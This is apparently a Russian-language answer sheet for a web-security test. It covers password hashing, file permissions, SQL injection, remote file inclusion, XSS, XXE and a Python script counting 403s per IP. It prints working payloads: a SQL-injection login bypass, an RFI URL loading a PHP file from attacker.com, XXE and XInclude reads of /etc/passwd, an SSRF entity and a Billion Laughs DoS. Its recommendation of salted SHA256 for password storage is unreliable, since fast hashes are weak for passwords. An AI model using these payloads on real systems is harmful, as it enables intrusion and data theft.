**1) Какой способ хеширования лучше выбрать для хранения паролей в базе. Почему?**
Ответ: SHA256 + salt
MD5 алгоритм не подходит, потому, что:
-подвержен коллизиям и позволяет с приемлемой вычислительной сложностью находить их;
-Подвержен взлому с помощью радужных таблиц. Это основано на генерировании большого количества хешей из набора символов, чтобы по получившейся базе вести поиск заданного хеша;
-Подвержен перебору по словарю. Это систематическая проверка всех возможных ключей, пока не будет найден правильный.
AES256 - это симметричный алгоритмом шифрования, а не хэширования.
Процесс хэширования включает в себя преобразование информации в более короткое значение фиксированной длины. Это значение и является ключом к исходному сообщению.
Процесс шифрования - изменяет данные таким образом, чтобы только авторизированный субъект смог расшифровать сообщение.
В AES256 один и тот же ключ используется как для шифрования, так и для дешифрования. Симметричное шифрование плохо подходит для хранения паролей, поскольку требует хранения ключа шифрования, который также должен быть защищен.
Осталось два
И SHA512, и SHA256 + соль могут рассматриваться для хранения паролей. Но SHA256 + соль дает лучший баланс между безопасностью и вычислительной эффективностью.
SHA512 - более надежная хэш-функция, но она требует больше вычислительных ресурсов и может быть медленнее в некоторых системах. SHA256 работает немного быстрее.
Благодаря добавлению уникального значения соли к каждому паролю перед хэшированием, результирующие хэши будут отличаться даже для пользователей с одинаковыми паролями, что помогает предотвратить такие атаки, как с использованием радужных таблиц.
Поэтому я бы рекомендовал SHA256 + соль, поскольку он обеспечивает хороший баланс между безопасностью и эффективностью.
**2)**
`chmod u+rwx, g+rx, o+x filename` или `chmod 754 filename`
**3)** Да, код уязвим для SQL-инъекции.
Уязвимость возникает из-за того, что user input в параметре $_GET['id'], не валидируется и не санитизируется перед использованием в SQL-запросе. Можно сделать вредоносный запрос, содержащий параметр id.
Например http://example.com/news.php?id=1 OR 1=1
Чтобы пофиксить проблему можно использовать prepared statements. В этом случае пользовательские данные будут рассматриваться как отдельное значение, а не как часть запроса.
Вот пример
```
<?php
$mysqli = new mysqli("localhost", "user", "password", "database");
if ($mysqli->connect_errno) {
echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}
$stmt = $mysqli->prepare("SELECT * FROM news WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
echo $row['id'];
echo $row['title'];
echo $row['date'];
echo $row['description'];
}
$stmt->close();
$mysqli->close();
?>
```
**4)** Уязвимость возникает из-за того, user input в параметрах $_GET['username'] и $_GET['password'], не валидируется и не санитизируется перед использованием в SQL-запросе.
Можно сделать вредоносный запрос содержащий username или password.
Например, можно изменить SQL-запрос так, что он всегда будет возвращать успешный вход в систему:
```
http://example.com/login.php?username=admin' OR '1'='1&password=anything
```
Этот URL включает параметры username и password со значениями, которые при объединении в SQL-запрос изменяют его:
```
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
```
Этот модифицированный запрос всегда возвращает хотя бы одну строку, так как условие '1'='1' всегда истинно, что приводит к успешному входу в систему.
**5)** Да, есть Remote File Inclusion
Параметр $GET['page'] используется для динамического включения файла в PHP-скрипт без валидации и санитизации. Можно сделать URL, включающий параметр page и вредоносный файл.
Например, заливаем вредоносный PHP-файл на сервер:
```
http://example.com/index.php?page=http://attacker.com/malicious.php
```
Чтобы устранить эту уязвимость, код должен валидировать и санитировать параметр $_GET['page'], можно добавить валидацию через whitelist.
**6)**
XSS - client side
CSRF - client side
HSTS - это не атака, а механизм защиты от даунгрейд-атак на TLS, указывающий браузеру всегда использовать TLS
Ответ: XXE - server side
**7)**
a) Заголовок Content-Type должен быть установлен на application/json, поскольку тело ответа - это JSON, а не HTML.
b) Поле lastName в response содержит unescaped characters (<script>alert(1)</script>), это может привести к XSS.
Вот как может выглядеть пофикшенный response. Заголовок Content-Type имеет значение application/json, а поле lastName экранировано с помощью HTML encoding.
```
HTTP/1.1 200 OK
Date: Mon, 11 Jul 2016 11:14:46 GMT
Content-Type: application/json
Access-Control-Max-Age: 1800
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: content-type, x-requested-with, authorization
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
X-Frame-Options: SAMEORIGIN
Server: nginx
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 105
{
"data": {
"name": "Peter",
"lastName": "Winter<script>alert(1)</script>",
"email": "peter_winter@mymail.com",
"passport": "129457821"
},
"result": "OK"
}
```
**8)**
Сначала короткое вступление про XXE,
Внешние сущности XML - это тип сущностей XML, значения которых загружаются извне DTD, в котором они объявлены. Внешние сущности позволяют определять сущность на основе содержимого пути к файлу или URL.
DTD (document type definition) - определяет структуру XML документа.
Если в библиотеке или api, которое отвечает за парсинг XML включена возможность работы с External Entities, можно попробовать сделать следующее:
**a)** Почитать файлы с сервера
Можно попробовать внести элемент DOCTYPE, определяющий внешнюю сущность, содержащую путь к файлу. И отредактировать значение данных в XML, которое возвращается в ответе приложения
Например было так
```
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```
А можно сделать так
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```
Мы определяем внешнюю сущность &xxe;, значением которой является содержимое файла /etc/passwd, и используем эту сущность в значении productId. Поэтому в ответе мы ожидаем получить содержимое файла /etc/passwd
**b)** Можно попробовать сделать SSRF, вместо файла как предыдущем примере укажем URL.
```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.hackthis-website.com/"> ]>
```
**c)** XXE via file upload
Если приложение позволяет загружать файлы, при этом некоторые форматы файлов используют XML или содержат подкомпоненты XML. Например SVG, DOCX. То через файл можно загрузить вредоносный код для выполнения на сервере.
**d)** Модифицировать header: content type
Большинство POST-запросов используют тип содержимого по умолчанию, который генерируется HTML-формами, например application/x-www-form-urlencoded. Но можно попробовать просунуть и XML.
Например, было так
```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Можно сделать так
```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
Если приложение допускает XML, то оно обработает этот запрос.
**e)** Есть ещё вариант через XInclude, но мне его как то не довелось использовать.
Например, когда переданные клиентом данные помещаются в SOAP-запрос, который затем обрабатывается внутренней SOAP-службой.
В случае если мы не контролируем весь XML-документ и не можем определить или изменить элемент DOCTYPE. Можно попробовать использовать XInclude. XInclude - это часть спецификации XML, которая позволяет создавать XML-документ из поддокументов.
Использовать XInclude можно так
```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```
А атака типа "Billion Laughs" по сути приводит к DoS сервера.
В ней так же используется объявление DOCTYPE и внейшей XML сущности, только эту External Entity капают в сторону DoS следующим образом:
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```
Соответственно
lol - сущность со значением "lol",
lol1 - сущность со значением "lollollollollololol........lollol". И так далее, и когда дойдет до lol9, сущность будет иметь большое количество "lol". Серверу приходится хранить все данные в своей энергозависимой памяти (ОЗУ), чтобы вычислить следующую сущность, что расходует ресурсы, выводя сервер из строя.
Отвечая на вопрос, атаки похожи тем, что используют внешние XML сущности.
Практически все XXE-уязвимости возникают из-за того, что библиотека отвечающая за парсинг XML поддерживает эти функции. И может быть так, что некоторые из них в продукте не нужны, но они включены. Самый простой и эффективный способ предотвратить XXE-атаки - отключить эти функции.
Достаточно отключить разрешение внешних сущностей и отключить поддержку XInclude.
Если все таки без них не обойтись, нужно делать качественную валидацию и санитизацию.
**9)**
```
#открываем файл в read mode
with open("access.log", "r") as f:
#Инициализируем словарь для хранения количесва вхождений каждого ip адреса
ip_counts = {}
#цикл по каждой строке в файле
for line in f:
#разделим построчно и обзовем каждую отдельную строку для удобства - component
components = line.split(" ")
#получаем ip адрес из component
ip = components[1]
#получим код состояния из component
status_code = components[-2]
#если "403"
if status_code == "403":
#если ip адреса нет в словаре, увеличим счетчик на 1
if ip not in ip_counts:
ip_counts[ip] = 1
else:
ip_counts[ip] += 1
#Отсортируем словарь по количеству каждого IP-адреса в порядке убывания
sorted_ips = sorted(ip_counts.items(), key=lambda x: x[1], reverse=True)
#Напечатаем 10 IP-адресов с наибольшим количеством кодов состояния "403"
for i in range(10):
#Если менее 10 IP-адресов, выходим из цикла
if i == len(sorted_ips):
break
#Выводим IP-адрес и его количество
print(sorted_ips[i][0], sorted_ips[i][1])
```
Комментарии отдельно:
Сначала открываем файл журнала в режиме чтения и инициализируем пустой словарь ip_counts для хранения подсчета каждого IP-адреса. Затем файл читается построчно, каждая строка разделяется пробелом, чтобы получить различные компоненты журнала. Затем из компонентов извлекается IP-адрес и код статуса ответа. Если код статуса равен "403", код проверяет, есть ли IP-адрес в словаре. Если нет, то счетчик IP-адреса инициализируется до 1. Если он уже есть в словаре, то счетчик IP-адреса увеличивается на 1.
После обработки всех строк в файле словарь сортируется по количеству IP-адресов в порядке убывания с помощью функции sorted. Затем печатаются 10 IP-адресов путем циклического просмотра отсортированного словаря и печати IP-адреса и его количества. Если в отсортированном словаре меньше 10 IP-адресов, код выходит из цикла, чтобы избежать ошибок.
Тут мы не учитываем ошибки или исключения, которые могут возникнуть при чтении файла или обработке журналов.